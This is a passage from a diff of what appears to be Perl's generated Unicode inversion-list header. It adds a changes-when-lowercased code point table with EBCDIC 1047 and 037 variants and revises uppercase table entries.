+	0x1BD,
+	0x1C4,
+	0x1C6,
+	0x1C7,
+	0x1C9,
+	0x1CA,
+	0x1CC,
+	0x1CD,
+	0x1CE,
+	0x1CF,
+	0x1D0,
+	0x1D1,
+	0x1D2,
+	0x1D3,
+	0x1D4,
+	0x1D5,
+	0x1D6,
+	0x1D7,
+	0x1D8,
+	0x1D9,
+	0x1DA,
+	0x1DB,
+	0x1DC,
+	0x1DE,
+	0x1DF,
+	0x1E0,
+	0x1E1,
+	0x1E2,
+	0x1E3,
+	0x1E4,
+	0x1E5,
+	0x1E6,
+	0x1E7,
+	0x1E8,
+	0x1E9,
+	0x1EA,
+	0x1EB,
+	0x1EC,
+	0x1ED,
+	0x1EE,
+	0x1EF,
+	0x1F1,
+	0x1F3,
+	0x1F4,
+	0x1F5,
+	0x1F6,
+	0x1F9,
+	0x1FA,
+	0x1FB,
+	0x1FC,
+	0x1FD,
+	0x1FE,
+	0x1FF,
+	0x200,
+	0x201,
+	0x202,
+	0x203,
+	0x204,
+	0x205,
+	0x206,
+	0x207,
+	0x208,
+	0x209,
+	0x20A,
+	0x20B,
+	0x20C,
+	0x20D,
+	0x20E,
+	0x20F,
+	0x210,
+	0x211,
+	0x212,
+	0x213,
+	0x214,
+	0x215,
+	0x216,
+	0x217,
+	0x218,
+	0x219,
+	0x21A,
+	0x21B,
+	0x21C,
+	0x21D,
+	0x21E,
+	0x21F,
+	0x220,
+	0x221,
+	0x222,
+	0x223,
+	0x224,
+	0x225,
+	0x226,
+	0x227,
+	0x228,
+	0x229,
+	0x22A,
+	0x22B,
+	0x22C,
+	0x22D,
+	0x22E,
+	0x22F,
+	0x230,
+	0x231,
+	0x232,
+	0x233,
+	0x23A,
+	0x23C,
+	0x23D,
+	0x23F,
+	0x241,
+	0x242,
+	0x243,
+	0x247,
+	0x248,
+	0x249,
+	0x24A,
+	0x24B,
+	0x24C,
+	0x24D,
+	0x24E,
+	0x24F,
+	0x370,
+	0x371,
+	0x372,
+	0x373,
+	0x376,
+	0x377,
+	0x37F,
+	0x380,
+	0x386,
+	0x387,
+	0x388,
+	0x38B,
+	0x38C,
+	0x38D,
+	0x38E,
+	0x390,
+	0x391,
+	0x3A2,
+	0x3A3,
+	0x3AC,
+	0x3CF,
+	0x3D0,
+	0x3D8,
+	0x3D9,
+	0x3DA,
+	0x3DB,
+	0x3DC,
+	0x3DD,
+	0x3DE,
+	0x3DF,
+	0x3E0,
+	0x3E1,
+	0x3E2,
+	0x3E3,
+	0x3E4,
+	0x3E5,
+	0x3E6,
+	0x3E7,
+	0x3E8,
+	0x3E9,
+	0x3EA,
+	0x3EB,
+	0x3EC,
+	0x3ED,
+	0x3EE,
+	0x3EF,
+	0x3F4,
+	0x3F5,
+	0x3F7,
+	0x3F8,
+	0x3F9,
+	0x3FB,
+	0x3FD,
+	0x430,
+	0x460,
+	0x461,
+	0x462,
+	0x463,
+	0x464,
+	0x465,
+	0x466,
+	0x467,
+	0x468,
+	0x469,
+	0x46A,
+	0x46B,
+	0x46C,
+	0x46D,
+	0x46E,
+	0x46F,
+	0x470,
+	0x471,
+	0x472,
+	0x473,
+	0x474,
+	0x475,
+	0x476,
+	0x477,
+	0x478,
+	0x479,
+	0x47A,
+	0x47B,
+	0x47C,
+	0x47D,
+	0x47E,
+	0x47F,
+	0x480,
+	0x481,
+	0x48A,
+	0x48B,
+	0x48C,
+	0x48D,
+	0x48E,
+	0x48F,
+	0x490,
+	0x491,
+	0x492,
+	0x493,
+	0x494,
+	0x495,
+	0x496,
+	0x497,
+	0x498,
+	0x499,
+	0x49A,
+	0x49B,
+	0x49C,
+	0x49D,
+	0x49E,
+	0x49F,
+	0x4A0,
+	0x4A1,
+	0x4A2,
+	0x4A3,
+	0x4A4,
+	0x4A5,
+	0x4A6,
+	0x4A7,
+	0x4A8,
+	0x4A9,
+	0x4AA,
+	0x4AB,
+	0x4AC,
+	0x4AD,
+	0x4AE,
+	0x4AF,
+	0x4B0,
+	0x4B1,
+	0x4B2,
+	0x4B3,
+	0x4B4,
+	0x4B5,
+	0x4B6,
+	0x4B7,
+	0x4B8,
+	0x4B9,
+	0x4BA,
+	0x4BB,
+	0x4BC,
+	0x4BD,
+	0x4BE,
+	0x4BF,
+	0x4C0,
+	0x4C2,
+	0x4C3,
+	0x4C4,
+	0x4C5,
+	0x4C6,
+	0x4C7,
+	0x4C8,
+	0x4C9,
+	0x4CA,
+	0x4CB,
+	0x4CC,
+	0x4CD,
+	0x4CE,
+	0x4D0,
+	0x4D1,
+	0x4D2,
+	0x4D3,
+	0x4D4,
+	0x4D5,
+	0x4D6,
+	0x4D7,
+	0x4D8,
+	0x4D9,
+	0x4DA,
+	0x4DB,
+	0x4DC,
+	0x4DD,
+	0x4DE,
+	0x4DF,
+	0x4E0,
+	0x4E1,
+	0x4E2,
+	0x4E3,
+	0x4E4,
+	0x4E5,
+	0x4E6,
+	0x4E7,
+	0x4E8,
+	0x4E9,
+	0x4EA,
+	0x4EB,
+	0x4EC,
+	0x4ED,
+	0x4EE,
+	0x4EF,
+	0x4F0,
+	0x4F1,
+	0x4F2,
+	0x4F3,
+	0x4F4,
+	0x4F5,
+	0x4F6,
+	0x4F7,
+	0x4F8,
+	0x4F9,
+	0x4FA,
+	0x4FB,
+	0x4FC,
+	0x4FD,
+	0x4FE,
+	0x4FF,
+	0x500,
+	0x501,
+	0x502,
+	0x503,
+	0x504,
+	0x505,
+	0x506,
+	0x507,
+	0x508,
+	0x509,
+	0x50A,
+	0x50B,
+	0x50C,
+	0x50D,
+	0x50E,
+	0x50F,
+	0x510,
+	0x511,
+	0x512,
+	0x513,
+	0x514,
+	0x515,
+	0x516,
+	0x517,
+	0x518,
+	0x519,
+	0x51A,
+	0x51B,
+	0x51C,
+	0x51D,
+	0x51E,
+	0x51F,
+	0x520,
+	0x521,
+	0x522,
+	0x523,
+	0x524,
+	0x525,
+	0x526,
+	0x527,
+	0x528,
+	0x529,
+	0x52A,
+	0x52B,
+	0x52C,
+	0x52D,
+	0x52E,
+	0x52F,
+	0x531,
+	0x557,
+	0x10A0,
+	0x10C6,
+	0x10C7,
+	0x10C8,
+	0x10CD,
+	0x10CE,
+	0x13A0,
+	0x13F6,
+	0x1E00,
+	0x1E01,
+	0x1E02,
+	0x1E03,
+	0x1E04,
+	0x1E05,
+	0x1E06,
+	0x1E07,
+	0x1E08,
+	0x1E09,
+	0x1E0A,
+	0x1E0B,
+	0x1E0C,
+	0x1E0D,
+	0x1E0E,
+	0x1E0F,
+	0x1E10,
+	0x1E11,
+	0x1E12,
+	0x1E13,
+	0x1E14,
+	0x1E15,
+	0x1E16,
+	0x1E17,
+	0x1E18,
+	0x1E19,
+	0x1E1A,
+	0x1E1B,
+	0x1E1C,
+	0x1E1D,
+	0x1E1E,
+	0x1E1F,
+	0x1E20,
+	0x1E21,
+	0x1E22,
+	0x1E23,
+	0x1E24,
+	0x1E25,
+	0x1E26,
+	0x1E27,
+	0x1E28,
+	0x1E29,
+	0x1E2A,
+	0x1E2B,
+	0x1E2C,
+	0x1E2D,
+	0x1E2E,
+	0x1E2F,
+	0x1E30,
+	0x1E31,
+	0x1E32,
+	0x1E33,
+	0x1E34,
+	0x1E35,
+	0x1E36,
+	0x1E37,
+	0x1E38,
+	0x1E39,
+	0x1E3A,
+	0x1E3B,
+	0x1E3C,
+	0x1E3D,
+	0x1E3E,
+	0x1E3F,
+	0x1E40,
+	0x1E41,
+	0x1E42,
+	0x1E43,
+	0x1E44,
+	0x1E45,
+	0x1E46,
+	0x1E47,
+	0x1E48,
+	0x1E49,
+	0x1E4A,
+	0x1E4B,
+	0x1E4C,
+	0x1E4D,
+	0x1E4E,
+	0x1E4F,
+	0x1E50,
+	0x1E51,
+	0x1E52,
+	0x1E53,
+	0x1E54,
+	0x1E55,
+	0x1E56,
+	0x1E57,
+	0x1E58,
+	0x1E59,
+	0x1E5A,
+	0x1E5B,
+	0x1E5C,
+	0x1E5D,
+	0x1E5E,
+	0x1E5F,
+	0x1E60,
+	0x1E61,
+	0x1E62,
+	0x1E63,
+	0x1E64,
+	0x1E65,
+	0x1E66,
+	0x1E67,
+	0x1E68,
+	0x1E69,
+	0x1E6A,
+	0x1E6B,
+	0x1E6C,
+	0x1E6D,
+	0x1E6E,
+	0x1E6F,
+	0x1E70,
+	0x1E71,
+	0x1E72,
+	0x1E73,
+	0x1E74,
+	0x1E75,
+	0x1E76,
+	0x1E77,
+	0x1E78,
+	0x1E79,
+	0x1E7A,
+	0x1E7B,
+	0x1E7C,
+	0x1E7D,
+	0x1E7E,
+	0x1E7F,
+	0x1E80,
+	0x1E81,
+	0x1E82,
+	0x1E83,
+	0x1E84,
+	0x1E85,
+	0x1E86,
+	0x1E87,
+	0x1E88,
+	0x1E89,
+	0x1E8A,
+	0x1E8B,
+	0x1E8C,
+	0x1E8D,
+	0x1E8E,
+	0x1E8F,
+	0x1E90,
+	0x1E91,
+	0x1E92,
+	0x1E93,
+	0x1E94,
+	0x1E95,
+	0x1E9E,
+	0x1E9F,
+	0x1EA0,
+	0x1EA1,
+	0x1EA2,
+	0x1EA3,
+	0x1EA4,
+	0x1EA5,
+	0x1EA6,
+	0x1EA7,
+	0x1EA8,
+	0x1EA9,
+	0x1EAA,
+	0x1EAB,
+	0x1EAC,
+	0x1EAD,
+	0x1EAE,
+	0x1EAF,
+	0x1EB0,
+	0x1EB1,
+	0x1EB2,
+	0x1EB3,
+	0x1EB4,
+	0x1EB5,
+	0x1EB6,
+	0x1EB7,
+	0x1EB8,
+	0x1EB9,
+	0x1EBA,
+	0x1EBB,
+	0x1EBC,
+	0x1EBD,
+	0x1EBE,
+	0x1EBF,
+	0x1EC0,
+	0x1EC1,
+	0x1EC2,
+	0x1EC3,
+	0x1EC4,
+	0x1EC5,
+	0x1EC6,
+	0x1EC7,
+	0x1EC8,
+	0x1EC9,
+	0x1ECA,
+	0x1ECB,
+	0x1ECC,
+	0x1ECD,
+	0x1ECE,
+	0x1ECF,
+	0x1ED0,
+	0x1ED1,
+	0x1ED2,
+	0x1ED3,
+	0x1ED4,
+	0x1ED5,
+	0x1ED6,
+	0x1ED7,
+	0x1ED8,
+	0x1ED9,
+	0x1EDA,
+	0x1EDB,
+	0x1EDC,
+	0x1EDD,
+	0x1EDE,
+	0x1EDF,
+	0x1EE0,
+	0x1EE1,
+	0x1EE2,
+	0x1EE3,
+	0x1EE4,
+	0x1EE5,
+	0x1EE6,
+	0x1EE7,
+	0x1EE8,
+	0x1EE9,
+	0x1EEA,
+	0x1EEB,
+	0x1EEC,
+	0x1EED,
+	0x1EEE,
+	0x1EEF,
+	0x1EF0,
+	0x1EF1,
+	0x1EF2,
+	0x1EF3,
+	0x1EF4,
+	0x1EF5,
+	0x1EF6,
+	0x1EF7,
+	0x1EF8,
+	0x1EF9,
+	0x1EFA,
+	0x1EFB,
+	0x1EFC,
+	0x1EFD,
+	0x1EFE,
+	0x1EFF,
+	0x1F08,
+	0x1F10,
+	0x1F18,
+	0x1F1E,
+	0x1F28,
+	0x1F30,
+	0x1F38,
+	0x1F40,
+	0x1F48,
+	0x1F4E,
+	0x1F59,
+	0x1F5A,
+	0x1F5B,
+	0x1F5C,
+	0x1F5D,
+	0x1F5E,
+	0x1F5F,
+	0x1F60,
+	0x1F68,
+	0x1F70,
+	0x1F88,
+	0x1F90,
+	0x1F98,
+	0x1FA0,
+	0x1FA8,
+	0x1FB0,
+	0x1FB8,
+	0x1FBD,
+	0x1FC8,
+	0x1FCD,
+	0x1FD8,
+	0x1FDC,
+	0x1FE8,
+	0x1FED,
+	0x1FF8,
+	0x1FFD,
+	0x2126,
+	0x2127,
+	0x212A,
+	0x212C,
+	0x2132,
+	0x2133,
+	0x2160,
+	0x2170,
+	0x2183,
+	0x2184,
+	0x24B6,
+	0x24D0,
+	0x2C00,
+	0x2C2F,
+	0x2C60,
+	0x2C61,
+	0x2C62,
+	0x2C65,
+	0x2C67,
+	0x2C68,
+	0x2C69,
+	0x2C6A,
+	0x2C6B,
+	0x2C6C,
+	0x2C6D,
+	0x2C71,
+	0x2C72,
+	0x2C73,
+	0x2C75,
+	0x2C76,
+	0x2C7E,
+	0x2C81,
+	0x2C82,
+	0x2C83,
+	0x2C84,
+	0x2C85,
+	0x2C86,
+	0x2C87,
+	0x2C88,
+	0x2C89,
+	0x2C8A,
+	0x2C8B,
+	0x2C8C,
+	0x2C8D,
+	0x2C8E,
+	0x2C8F,
+	0x2C90,
+	0x2C91,
+	0x2C92,
+	0x2C93,
+	0x2C94,
+	0x2C95,
+	0x2C96,
+	0x2C97,
+	0x2C98,
+	0x2C99,
+	0x2C9A,
+	0x2C9B,
+	0x2C9C,
+	0x2C9D,
+	0x2C9E,
+	0x2C9F,
+	0x2CA0,
+	0x2CA1,
+	0x2CA2,
+	0x2CA3,
+	0x2CA4,
+	0x2CA5,
+	0x2CA6,
+	0x2CA7,
+	0x2CA8,
+	0x2CA9,
+	0x2CAA,
+	0x2CAB,
+	0x2CAC,
+	0x2CAD,
+	0x2CAE,
+	0x2CAF,
+	0x2CB0,
+	0x2CB1,
+	0x2CB2,
+	0x2CB3,
+	0x2CB4,
+	0x2CB5,
+	0x2CB6,
+	0x2CB7,
+	0x2CB8,
+	0x2CB9,
+	0x2CBA,
+	0x2CBB,
+	0x2CBC,
+	0x2CBD,
+	0x2CBE,
+	0x2CBF,
+	0x2CC0,
+	0x2CC1,
+	0x2CC2,
+	0x2CC3,
+	0x2CC4,
+	0x2CC5,
+	0x2CC6,
+	0x2CC7,
+	0x2CC8,
+	0x2CC9,
+	0x2CCA,
+	0x2CCB,
+	0x2CCC,
+	0x2CCD,
+	0x2CCE,
+	0x2CCF,
+	0x2CD0,
+	0x2CD1,
+	0x2CD2,
+	0x2CD3,
+	0x2CD4,
+	0x2CD5,
+	0x2CD6,
+	0x2CD7,
+	0x2CD8,
+	0x2CD9,
+	0x2CDA,
+	0x2CDB,
+	0x2CDC,
+	0x2CDD,
+	0x2CDE,
+	0x2CDF,
+	0x2CE0,
+	0x2CE1,
+	0x2CE2,
+	0x2CE3,
+	0x2CEB,
+	0x2CEC,
+	0x2CED,
+	0x2CEE,
+	0x2CF2,
+	0x2CF3,
+	0xA640,
+	0xA641,
+	0xA642,
+	0xA643,
+	0xA644,
+	0xA645,
+	0xA646,
+	0xA647,
+	0xA648,
+	0xA649,
+	0xA64A,
+	0xA64B,
+	0xA64C,
+	0xA64D,
+	0xA64E,
+	0xA64F,
+	0xA650,
+	0xA651,
+	0xA652,
+	0xA653,
+	0xA654,
+	0xA655,
+	0xA656,
+	0xA657,
+	0xA658,
+	0xA659,
+	0xA65A,
+	0xA65B,
+	0xA65C,
+	0xA65D,
+	0xA65E,
+	0xA65F,
+	0xA660,
+	0xA661,
+	0xA662,
+	0xA663,
+	0xA664,
+	0xA665,
+	0xA666,
+	0xA667,
+	0xA668,
+	0xA669,
+	0xA66A,
+	0xA66B,
+	0xA66C,
+	0xA66D,
+	0xA680,
+	0xA681,
+	0xA682,
+	0xA683,
+	0xA684,
+	0xA685,
+	0xA686,
+	0xA687,
+	0xA688,
+	0xA689,
+	0xA68A,
+	0xA68B,
+	0xA68C,
+	0xA68D,
+	0xA68E,
+	0xA68F,
+	0xA690,
+	0xA691,
+	0xA692,
+	0xA693,
+	0xA694,
+	0xA695,
+	0xA696,
+	0xA697,
+	0xA698,
+	0xA699,
+	0xA69A,
+	0xA69B,
+	0xA722,
+	0xA723,
+	0xA724,
+	0xA725,
+	0xA726,
+	0xA727,
+	0xA728,
+	0xA729,
+	0xA72A,
+	0xA72B,
+	0xA72C,
+	0xA72D,
+	0xA72E,
+	0xA72F,
+	0xA732,
+	0xA733,
+	0xA734,
+	0xA735,
+	0xA736,
+	0xA737,
+	0xA738,
+	0xA739,
+	0xA73A,
+	0xA73B,
+	0xA73C,
+	0xA73D,
+	0xA73E,
+	0xA73F,
+	0xA740,
+	0xA741,
+	0xA742,
+	0xA743,
+	0xA744,
+	0xA745,
+	0xA746,
+	0xA747,
+	0xA748,
+	0xA749,
+	0xA74A,
+	0xA74B,
+	0xA74C,
+	0xA74D,
+	0xA74E,
+	0xA74F,
+	0xA750,
+	0xA751,
+	0xA752,
+	0xA753,
+	0xA754,
+	0xA755,
+	0xA756,
+	0xA757,
+	0xA758,
+	0xA759,
+	0xA75A,
+	0xA75B,
+	0xA75C,
+	0xA75D,
+	0xA75E,
+	0xA75F,
+	0xA760,
+	0xA761,
+	0xA762,
+	0xA763,
+	0xA764,
+	0xA765,
+	0xA766,
+	0xA767,
+	0xA768,
+	0xA769,
+	0xA76A,
+	0xA76B,
+	0xA76C,
+	0xA76D,
+	0xA76E,
+	0xA76F,
+	0xA779,
+	0xA77A,
+	0xA77B,
+	0xA77C,
+	0xA77D,
+	0xA77F,
+	0xA780,
+	0xA781,
+	0xA782,
+	0xA783,
+	0xA784,
+	0xA785,
+	0xA786,
+	0xA787,
+	0xA78B,
+	0xA78C,
+	0xA78D,
+	0xA78E,
+	0xA790,
+	0xA791,
+	0xA792,
+	0xA793,
+	0xA796,
+	0xA797,
+	0xA798,
+	0xA799,
+	0xA79A,
+	0xA79B,
+	0xA79C,
+	0xA79D,
+	0xA79E,
+	0xA79F,
+	0xA7A0,
+	0xA7A1,
+	0xA7A2,
+	0xA7A3,
+	0xA7A4,
+	0xA7A5,
+	0xA7A6,
+	0xA7A7,
+	0xA7A8,
+	0xA7A9,
+	0xA7AA,
+	0xA7AF,
+	0xA7B0,
+	0xA7B5,
+	0xA7B6,
+	0xA7B7,
+	0xFF21,
+	0xFF3B,
+	0x10400,
+	0x10428,
+	0x104B0,
+	0x104D4,
+	0x10C80,
+	0x10CB3,
+	0x118A0,
+	0x118C0,
+	0x1E900,
+	0x1E922
 };
 
-static const UV XPosixUpper_invlist[] = { /* for EBCDIC 1047 */
-	1283,	/* Number of elements */
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_CWL_invlist[] = { /* for EBCDIC 1047 */
+	1199,	/* Number of elements */
 	148565664, /* Version and data structure type */
 	1,	/* 0 if the list starts at 0;
 		   1 if it starts at the element beyond 0 */
@@ -60865,11 +202266,11 @@
 	0x1BC,
 	0x1BD,
 	0x1C4,
-	0x1C5,
+	0x1C6,
 	0x1C7,
-	0x1C8,
+	0x1C9,
 	0x1CA,
-	0x1CB,
+	0x1CC,
 	0x1CD,
 	0x1CE,
 	0x1CF,
@@ -60905,7 +202306,7 @@
 	0x1EE,
 	0x1EF,
 	0x1F1,
-	0x1F2,
+	0x1F3,
 	0x1F4,
 	0x1F5,
 	0x1F6,
@@ -61006,8 +202407,6 @@
 	0x3AC,
 	0x3CF,
 	0x3D0,
-	0x3D2,
-	0x3D5,
 	0x3D8,
 	0x3D9,
 	0x3DA,
@@ -61516,42 +202915,28 @@
 	0x1F60,
 	0x1F68,
 	0x1F70,
+	0x1F88,
+	0x1F90,
+	0x1F98,
+	0x1FA0,
+	0x1FA8,
+	0x1FB0,
 	0x1FB8,
-	0x1FBC,
+	0x1FBD,
 	0x1FC8,
-	0x1FCC,
+	0x1FCD,
 	0x1FD8,
 	0x1FDC,
 	0x1FE8,
 	0x1FED,
 	0x1FF8,
-	0x1FFC,
-	0x2102,
-	0x2103,
-	0x2107,
-	0x2108,
-	0x210B,
-	0x210E,
-	0x2110,
-	0x2113,
-	0x2115,
-	0x2116,
-	0x2119,
-	0x211E,
-	0x2124,
-	0x2125,
+	0x1FFD,
 	0x2126,
 	0x2127,
-	0x2128,
-	0x2129,
 	0x212A,
-	0x212E,
-	0x2130,
-	0x2134,
-	0x213E,
-	0x2140,
-	0x2145,
-	0x2146,
+	0x212C,
+	0x2132,
+	0x2133,
 	0x2160,
 	0x2170,
 	0x2183,
@@ -61890,13 +203275,12368 @@
 	0x10CB3,
 	0x118A0,
 	0x118C0,
+	0x1E900,
+	0x1E922
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_CWL_invlist[] = { /* for EBCDIC 037 */
+	1195,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x62,
+	0x6A,
+	0x71,
+	0x79,
+	0x80,
+	0x81,
+	0x9E,
+	0x9F,
+	0xAC,
+	0xAF,
+	0xC1,
+	0xCA,
+	0xD1,
+	0xDA,
+	0xE2,
+	0xEA,
+	0xEB,
+	0xF0,
+	0xFB,
+	0xFF,
+	0x100,
+	0x101,
+	0x102,
+	0x103,
+	0x104,
+	0x105,
+	0x106,
+	0x107,
+	0x108,
+	0x109,
+	0x10A,
+	0x10B,
+	0x10C,
+	0x10D,
+	0x10E,
+	0x10F,
+	0x110,
+	0x111,
+	0x112,
+	0x113,
+	0x114,
+	0x115,
+	0x116,
+	0x117,
+	0x118,
+	0x119,
+	0x11A,
+	0x11B,
+	0x11C,
+	0x11D,
+	0x11E,
+	0x11F,
+	0x120,
+	0x121,
+	0x122,
+	0x123,
+	0x124,
+	0x125,
+	0x126,
+	0x127,
+	0x128,
+	0x129,
+	0x12A,
+	0x12B,
+	0x12C,
+	0x12D,
+	0x12E,
+	0x12F,
+	0x130,
+	0x131,
+	0x132,
+	0x133,
+	0x134,
+	0x135,
+	0x136,
+	0x137,
+	0x139,
+	0x13A,
+	0x13B,
+	0x13C,
+	0x13D,
+	0x13E,
+	0x13F,
+	0x140,
+	0x141,
+	0x142,
+	0x143,
+	0x144,
+	0x145,
+	0x146,
+	0x147,
+	0x148,
+	0x14A,
+	0x14B,
+	0x14C,
+	0x14D,
+	0x14E,
+	0x14F,
+	0x150,
+	0x151,
+	0x152,
+	0x153,
+	0x154,
+	0x155,
+	0x156,
+	0x157,
+	0x158,
+	0x159,
+	0x15A,
+	0x15B,
+	0x15C,
+	0x15D,
+	0x15E,
+	0x15F,
+	0x160,
+	0x161,
+	0x162,
+	0x163,
+	0x164,
+	0x165,
+	0x166,
+	0x167,
+	0x168,
+	0x169,
+	0x16A,
+	0x16B,
+	0x16C,
+	0x16D,
+	0x16E,
+	0x16F,
+	0x170,
+	0x171,
+	0x172,
+	0x173,
+	0x174,
+	0x175,
+	0x176,
+	0x177,
+	0x178,
+	0x17A,
+	0x17B,
+	0x17C,
+	0x17D,
+	0x17E,
+	0x181,
+	0x183,
+	0x184,
+	0x185,
+	0x186,
+	0x188,
+	0x189,
+	0x18C,
+	0x18E,
+	0x192,
+	0x193,
+	0x195,
+	0x196,
+	0x199,
+	0x19C,
+	0x19E,
+	0x19F,
+	0x1A1,
+	0x1A2,
+	0x1A3,
+	0x1A4,
+	0x1A5,
+	0x1A6,
+	0x1A8,
+	0x1A9,
+	0x1AA,
+	0x1AC,
+	0x1AD,
+	0x1AE,
+	0x1B0,
+	0x1B1,
+	0x1B4,
+	0x1B5,
+	0x1B6,
+	0x1B7,
+	0x1B9,
+	0x1BC,
+	0x1BD,
+	0x1C4,
+	0x1C6,
+	0x1C7,
+	0x1C9,
+	0x1CA,
+	0x1CC,
+	0x1CD,
+	0x1CE,
+	0x1CF,
+	0x1D0,
+	0x1D1,
+	0x1D2,
+	0x1D3,
+	0x1D4,
+	0x1D5,
+	0x1D6,
+	0x1D7,
+	0x1D8,
+	0x1D9,
+	0x1DA,
+	0x1DB,
+	0x1DC,
+	0x1DE,
+	0x1DF,
+	0x1E0,
+	0x1E1,
+	0x1E2,
+	0x1E3,
+	0x1E4,
+	0x1E5,
+	0x1E6,
+	0x1E7,
+	0x1E8,
+	0x1E9,
+	0x1EA,
+	0x1EB,
+	0x1EC,
+	0x1ED,
+	0x1EE,
+	0x1EF,
+	0x1F1,
+	0x1F3,
+	0x1F4,
+	0x1F5,
+	0x1F6,
+	0x1F9,
+	0x1FA,
+	0x1FB,
+	0x1FC,
+	0x1FD,
+	0x1FE,
+	0x1FF,
+	0x200,
+	0x201,
+	0x202,
+	0x203,
+	0x204,
+	0x205,
+	0x206,
+	0x207,
+	0x208,
+	0x209,
+	0x20A,
+	0x20B,
+	0x20C,
+	0x20D,
+	0x20E,
+	0x20F,
+	0x210,
+	0x211,
+	0x212,
+	0x213,
+	0x214,
+	0x215,
+	0x216,
+	0x217,
+	0x218,
+	0x219,
+	0x21A,
+	0x21B,
+	0x21C,
+	0x21D,
+	0x21E,
+	0x21F,
+	0x220,
+	0x221,
+	0x222,
+	0x223,
+	0x224,
+	0x225,
+	0x226,
+	0x227,
+	0x228,
+	0x229,
+	0x22A,
+	0x22B,
+	0x22C,
+	0x22D,
+	0x22E,
+	0x22F,
+	0x230,
+	0x231,
+	0x232,
+	0x233,
+	0x23A,
+	0x23C,
+	0x23D,
+	0x23F,
+	0x241,
+	0x242,
+	0x243,
+	0x247,
+	0x248,
+	0x249,
+	0x24A,
+	0x24B,
+	0x24C,
+	0x24D,
+	0x24E,
+	0x24F,
+	0x370,
+	0x371,
+	0x372,
+	0x373,
+	0x376,
+	0x377,
+	0x37F,
+	0x380,
+	0x386,
+	0x387,
+	0x388,
+	0x38B,
+	0x38C,
+	0x38D,
+	0x38E,
+	0x390,
+	0x391,
+	0x3A2,
+	0x3A3,
+	0x3AC,
+	0x3CF,
+	0x3D0,
+	0x3D8,
+	0x3D9,
+	0x3DA,
+	0x3DB,
+	0x3DC,
+	0x3DD,
+	0x3DE,
+	0x3DF,
+	0x3E0,
+	0x3E1,
+	0x3E2,
+	0x3E3,
+	0x3E4,
+	0x3E5,
+	0x3E6,
+	0x3E7,
+	0x3E8,
+	0x3E9,
+	0x3EA,
+	0x3EB,
+	0x3EC,
+	0x3ED,
+	0x3EE,
+	0x3EF,
+	0x3F4,
+	0x3F5,
+	0x3F7,
+	0x3F8,
+	0x3F9,
+	0x3FB,
+	0x3FD,
+	0x430,
+	0x460,
+	0x461,
+	0x462,
+	0x463,
+	0x464,
+	0x465,
+	0x466,
+	0x467,
+	0x468,
+	0x469,
+	0x46A,
+	0x46B,
+	0x46C,
+	0x46D,
+	0x46E,
+	0x46F,
+	0x470,
+	0x471,
+	0x472,
+	0x473,
+	0x474,
+	0x475,
+	0x476,
+	0x477,
+	0x478,
+	0x479,
+	0x47A,
+	0x47B,
+	0x47C,
+	0x47D,
+	0x47E,
+	0x47F,
+	0x480,
+	0x481,
+	0x48A,
+	0x48B,
+	0x48C,
+	0x48D,
+	0x48E,
+	0x48F,
+	0x490,
+	0x491,
+	0x492,
+	0x493,
+	0x494,
+	0x495,
+	0x496,
+	0x497,
+	0x498,
+	0x499,
+	0x49A,
+	0x49B,
+	0x49C,
+	0x49D,
+	0x49E,
+	0x49F,
+	0x4A0,
+	0x4A1,
+	0x4A2,
+	0x4A3,
+	0x4A4,
+	0x4A5,
+	0x4A6,
+	0x4A7,
+	0x4A8,
+	0x4A9,
+	0x4AA,
+	0x4AB,
+	0x4AC,
+	0x4AD,
+	0x4AE,
+	0x4AF,
+	0x4B0,
+	0x4B1,
+	0x4B2,
+	0x4B3,
+	0x4B4,
+	0x4B5,
+	0x4B6,
+	0x4B7,
+	0x4B8,
+	0x4B9,
+	0x4BA,
+	0x4BB,
+	0x4BC,
+	0x4BD,
+	0x4BE,
+	0x4BF,
+	0x4C0,
+	0x4C2,
+	0x4C3,
+	0x4C4,
+	0x4C5,
+	0x4C6,
+	0x4C7,
+	0x4C8,
+	0x4C9,
+	0x4CA,
+	0x4CB,
+	0x4CC,
+	0x4CD,
+	0x4CE,
+	0x4D0,
+	0x4D1,
+	0x4D2,
+	0x4D3,
+	0x4D4,
+	0x4D5,
+	0x4D6,
+	0x4D7,
+	0x4D8,
+	0x4D9,
+	0x4DA,
+	0x4DB,
+	0x4DC,
+	0x4DD,
+	0x4DE,
+	0x4DF,
+	0x4E0,
+	0x4E1,
+	0x4E2,
+	0x4E3,
+	0x4E4,
+	0x4E5,
+	0x4E6,
+	0x4E7,
+	0x4E8,
+	0x4E9,
+	0x4EA,
+	0x4EB,
+	0x4EC,
+	0x4ED,
+	0x4EE,
+	0x4EF,
+	0x4F0,
+	0x4F1,
+	0x4F2,
+	0x4F3,
+	0x4F4,
+	0x4F5,
+	0x4F6,
+	0x4F7,
+	0x4F8,
+	0x4F9,
+	0x4FA,
+	0x4FB,
+	0x4FC,
+	0x4FD,
+	0x4FE,
+	0x4FF,
+	0x500,
+	0x501,
+	0x502,
+	0x503,
+	0x504,
+	0x505,
+	0x506,
+	0x507,
+	0x508,
+	0x509,
+	0x50A,
+	0x50B,
+	0x50C,
+	0x50D,
+	0x50E,
+	0x50F,
+	0x510,
+	0x511,
+	0x512,
+	0x513,
+	0x514,
+	0x515,
+	0x516,
+	0x517,
+	0x518,
+	0x519,
+	0x51A,
+	0x51B,
+	0x51C,
+	0x51D,
+	0x51E,
+	0x51F,
+	0x520,
+	0x521,
+	0x522,
+	0x523,
+	0x524,
+	0x525,
+	0x526,
+	0x527,
+	0x528,
+	0x529,
+	0x52A,
+	0x52B,
+	0x52C,
+	0x52D,
+	0x52E,
+	0x52F,
+	0x531,
+	0x557,
+	0x10A0,
+	0x10C6,
+	0x10C7,
+	0x10C8,
+	0x10CD,
+	0x10CE,
+	0x13A0,
+	0x13F6,
+	0x1E00,
+	0x1E01,
+	0x1E02,
+	0x1E03,
